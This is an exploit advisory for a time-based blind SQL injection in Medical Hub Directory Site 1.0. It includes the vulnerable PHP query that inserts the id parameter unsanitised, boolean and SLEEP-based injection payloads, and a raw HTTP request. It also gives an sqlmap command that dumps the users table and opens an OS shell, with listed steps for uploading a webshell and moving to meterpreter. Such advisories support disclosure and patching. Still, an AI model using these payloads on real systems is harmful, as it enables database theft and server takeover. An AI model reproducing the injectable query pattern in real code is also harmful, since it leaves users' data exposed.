Authored by Hejap Zairy

Medical Hub Directory Site version 1.0 suffers from a remote blind SQL injection vulnerability. This research was submitted on the same day Packet Storm received similar findings from Saud Alenazi.

# Title: Medical Hub Directory Site 1.0 Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 30.07.2022
# Vendor: https://www.sourcecodester.com/php/15252/simple-medical-hub-directory-site-phpoop-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/mhds.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache



# Steps
# 1.- Go to : https://0day.gov//mhds/admin/?page=category/manage_category&id=6
# 2 - manual inject Blind SQli Payload: https://0day.gov//mhds/admin/?page=category/manage_category&id=6 OR NOT 8425=8425#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code php

---
```
<?php
if(isset($_GET['id'])){
$qry = $conn->query("SELECT * FROM `category_list` where id = '{$_GET['id']}' and delete_flag = 0 ");
if($qry->num_rows > 0 ){
foreach($qry->fetch_array() as $k => $v){
if(!is_numeric($k))
$$k = $v;
}
}
}
?>
```
---
#Status: CRITICAL
[+] Payload GET

---
GET /mhds/admin/?page=category/manage_category&id=6 HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ahm8bmdjtm25mldhc2rm7dc4f2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
---

```
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=category/manage_category&id=6' AND (SELECT 8526 FROM (SELECT(SLEEP(5)))jfSR) AND 'KRZU'='KRZU
---


```
#Blind SQLi Time to Rce
#┘ĆExploit


sqlmap -r hejap_0day --dbs --time-sec=10 --tamper=space2comment --threads=5 -p id -D mhds_db -T users --dump --eta --technique=t --hex --os-shell


# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/Siu2l0C.png
https://i.imgur.com/fU4As6a.png